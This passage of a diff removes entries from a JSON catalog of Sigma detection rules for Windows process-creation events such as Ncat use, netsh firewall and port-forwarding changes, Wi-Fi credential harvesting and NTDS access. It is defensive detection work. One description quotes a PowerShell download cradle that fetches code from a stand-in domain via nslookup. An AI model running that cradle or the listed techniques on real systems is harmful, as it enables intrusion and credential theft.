- }, - { - "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", - "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774", - "value": "Remote Desktop Protocol Use Mstsc", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.001" - ], - "creation_date": "2022/01/07", - "filename": "proc_creation_win_mstsc.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "WSL (Windows Sub System For Linux)", - "Other currently unknown software" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects multiple suspicious process in a limited timeframe", - "uuid": "61ab5496-748e-4818-a92f-de78e20fe7f1", - "value": "Quick Execution of a Series of Suspicious Commands", - "meta": { - "refs": [ - "https://car.mitre.org/wiki/CAR-2013-04-002", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_multiple_susp_cli.yml" - ], - "tags": [ - "car.2013-04-002", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_multiple_susp_cli.yml", - "author": "juju4", - "level": "low", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", - "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08", - "value": "Ncat Execution", - "meta": { - "refs": [ - "https://nmap.org/ncat/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netcat_execution.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1095" - ], - "creation_date": "2021/07/21", - "filename": "proc_creation_win_netcat_execution.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate ncat use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", - "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62", - "value": "Netsh RDP Port Opening", - "meta": { - "refs": [ - "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2020/05/23", - "filename": "proc_creation_win_netsh_allow_port_rdp.yml", - "author": "Sander Wiebing", - "level": "high", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Allow Incoming Connections by Port or Application on Windows Firewall", - "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c", - "value": "Netsh Port or Application Allowed", - "meta": { - "refs": [ - "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2019/01/29", - "filename": "proc_creation_win_netsh_fw_add.yml", - "author": "Markus Neis, Sander Wiebing", - "level": "medium", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", - "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d", - "value": "Netsh Program Allowed with Suspcious Location", - "meta": { - "refs": [ - "https://www.virusradar.com/en/Win32_Kasidet.AD/description", - "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2020/05/25", - "filename": "proc_creation_win_netsh_fw_add_susp_image.yml", - "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", - "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2", - "value": "Netsh Firewall Rule Deletion", - "meta": { - "refs": [ - "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2022/08/14", - "filename": "proc_creation_win_netsh_fw_delete.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", - "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef", - "value": "Netsh Allow Group Policy on Microsoft Defender Firewall", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", - "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2022/01/09", - "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects capture a network trace via netsh.exe trace functionality", - "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118", - "value": "Capture a Network Trace with netsh.exe", - "meta": { - "refs": [ - "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_netsh_packet_capture.yml", - "author": "Kutepov Anton, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects netsh commands that configure a port forwarding (PortProxy)", - "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614", - "value": "Netsh Port Forwarding", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://adepts.of0x.cc/netsh-portproxy-code/", - "https://www.dfirnotes.net/portproxy_detection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2019/01/29", - "filename": "proc_creation_win_netsh_port_fwd.yml", - "author": "Florian Roth, omkar72, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration", - "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", - "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63", - "value": "Netsh RDP Port Forwarding", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd_3389.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2019/01/29", - "filename": "proc_creation_win_netsh_port_fwd_3389.yml", - "author": "Florian Roth, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect the harvesting of wifi credentials using netsh.exe", - "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff", - "value": "Harvesting of Wifi Credentials Using netsh.exe", - "meta": { - "refs": [ - "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ], - "creation_date": "2020/04/20", - "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml", - "author": "Andreas Hunkeler (@Karneades), oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f", - "value": "Use of NetSupport Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsupport.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/09/25", - "filename": "proc_creation_win_netsupport.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", - "uuid": "f8ad2e2c-40b6-4117-84d7-20b89896ab23", - "value": "Suspicious Scan Loop Network", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://ss64.com/nt/for.html", - "https://ss64.com/ps/foreach-object.htmll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2022/03/12", - "filename": "proc_creation_win_network_scan_loop.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", - "uuid": "ba1f7802-adc7-48b4-9ecb-81e227fddfd5", - "value": "Network Sniffing", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml" - ], - "tags": [ - "attack.credential_access", - "attack.discovery", - "attack.t1040" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_network_sniffing.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", - "uuid": "5b768e71-86f2-4879-b448-81061cbae951", - "value": "Suspicious Manipulation Of Default Accounts", - "meta": { - "refs": [ - "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2022/09/01", - "filename": "proc_creation_win_net_default_accounts_manipulation.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", - "uuid": "62510e69-616b-4078-b371-847da438cc03", - "value": "Windows Network Enumeration", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2018/10/30", - "filename": "proc_creation_win_net_enum.yml", - "author": "Endgame, JHasenbusch (ported for oscd.community)", - "level": "low", - "falsepositive": [ - "Legitimate use of net.exe utility by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", - "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0", - "value": "Suspicious Reconnaissance Activity Using Net", - "meta": { - "refs": [ - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001", - "attack.t1087.002" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_net_recon.yml", - "author": "Florian Roth, omkar72, @svch0st, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Inventory tool runs", - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies creation of local users via the net.exe command.", - "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc", - "value": "Net.exe User Account Creation", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ], - "creation_date": "2018/10/30", - "filename": "proc_creation_win_net_user_add.yml", - "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", - "level": "medium", - "falsepositive": [ - "Legitimate user creation.", - "Better use event IDs for user creation rather than command line rules." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", - "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c", - "value": "Net.exe User Account Creation - Never Expire", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ], - "creation_date": "2022/07/12", - "filename": "proc_creation_win_net_user_add_never_expire.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an admin share is mounted using net.exe", - "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725", - "value": "Mounted Windows Admin Shares with net.exe", - "meta": { - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_admin_share.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_net_use_admin_share.yml", - "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", - "level": "medium", - "falsepositive": [ - "Administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", - "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77", - "value": "New Network Provider - CommandLine", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", - "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2022/08/23", - "filename": "proc_creation_win_new_network_provider.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Other legitimate network providers used and not filtred in this rule" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a new service.", - "uuid": "7fe71fc9-de3b-432a-8d57-8c809efc10ab", - "value": "New Service Creation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_service_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_new_service_creation.yml", - "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administrator or user creates a service for legitimate reasons." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", - "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6", - "value": "Nimgrab File Download", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/08/28", - "filename": "proc_creation_win_nimgrab.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate use of Nim on developer systems" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects nltest commands that can be used for information discovery", - "uuid": "5cc90652-4cbd-4241-aa3b-4b462fa5a248", - "value": "Recon Activity with NLTEST", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", - "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", - "https://attack.mitre.org/techniques/T1482/", - "https://attack.mitre.org/techniques/T1016/", - "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016", - "attack.t1482" - ], - "creation_date": "2021/07/24", - "filename": "proc_creation_win_nltest_recon.yml", - "author": "Craig Young, oscd.community, Georg Lauenstein", - "level": "medium", - "falsepositive": [ - "Legitimate administration use but user must be check out" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", - "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd", - "value": "Node.exe Process Abuse", - "meta": { - "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", - "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", - "https://nodejs.org/api/cli.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_node_abuse.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", - "uuid": "f4bbd493-b796-416e-bbf2-121235348529", - "value": "Non Interactive PowerShell", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_interactive_powershell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/09/12", - "filename": "proc_creation_win_non_interactive_powershell.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", - "level": "low", - "falsepositive": [ - "Legitimate programs executing PowerShell scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", - "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d", - "value": "Non-privileged Usage of Reg or Powershell", - "meta": { - "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_non_priv_reg_or_ps.yml", - "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of NPS a port forwarding tool", - "uuid": "68d37776-61db-42f5-bf54-27e87072d17e", - "value": "NPS Tunneling Tool", - "meta": { - "refs": [ - "https://github.com/ehang-io/nps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2022/10/08", - "filename": "proc_creation_win_nps.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of powershell in conjunction with nslookup as a mean of download.", - "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", - "value": "Nslookup PowerShell Download", - "meta": { - "refs": [ - "https://twitter.com/Alh4zr3d/status/1566489367232651264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/05", - "filename": "proc_creation_win_nslookup_poweshell_download.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]", - "uuid": "72671447-4352-4413-bb91-b85569687135", - "value": "Nslookup PwSh Download Cradle", - "meta": { - "refs": [ - "https://twitter.com/alh4zr3d/status/1566489367232651264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105", - "attack.t1071.004" - ], - "creation_date": "2022/09/06", - "filename": "proc_creation_win_nslookup_pwsh_download_cradle.yml", - "author": "Zach Mathis (@yamatosecurity)", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", - "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345", - "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)", - "meta": { - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_ntdsutil_usage.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "NTDS maintenance" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", - "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969", - "value": "Use Short Name Path in Command Line", - "meta": { - "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://twitter.com/frack113/status/1555830623633375232", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/08/07", - "filename": "proc_creation_win_ntfs_short_name_path_use_cli.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", - "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1", - "value": "Use Short Name Path in Image", - "meta": { - "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://twitter.com/frack113/status/1555830623633375232", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/08/07", - "filename": "proc_creation_win_ntfs_short_name_path_use_image.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", - "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795", - "value": "Use NTFS Short Name in Command Line", - "meta": { - "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://twitter.com/jonasLyk/status/1555914501802921984", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/08/05", - "filename": "proc_creation_win_ntfs_short_name_use_cli.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Applications could use this notation 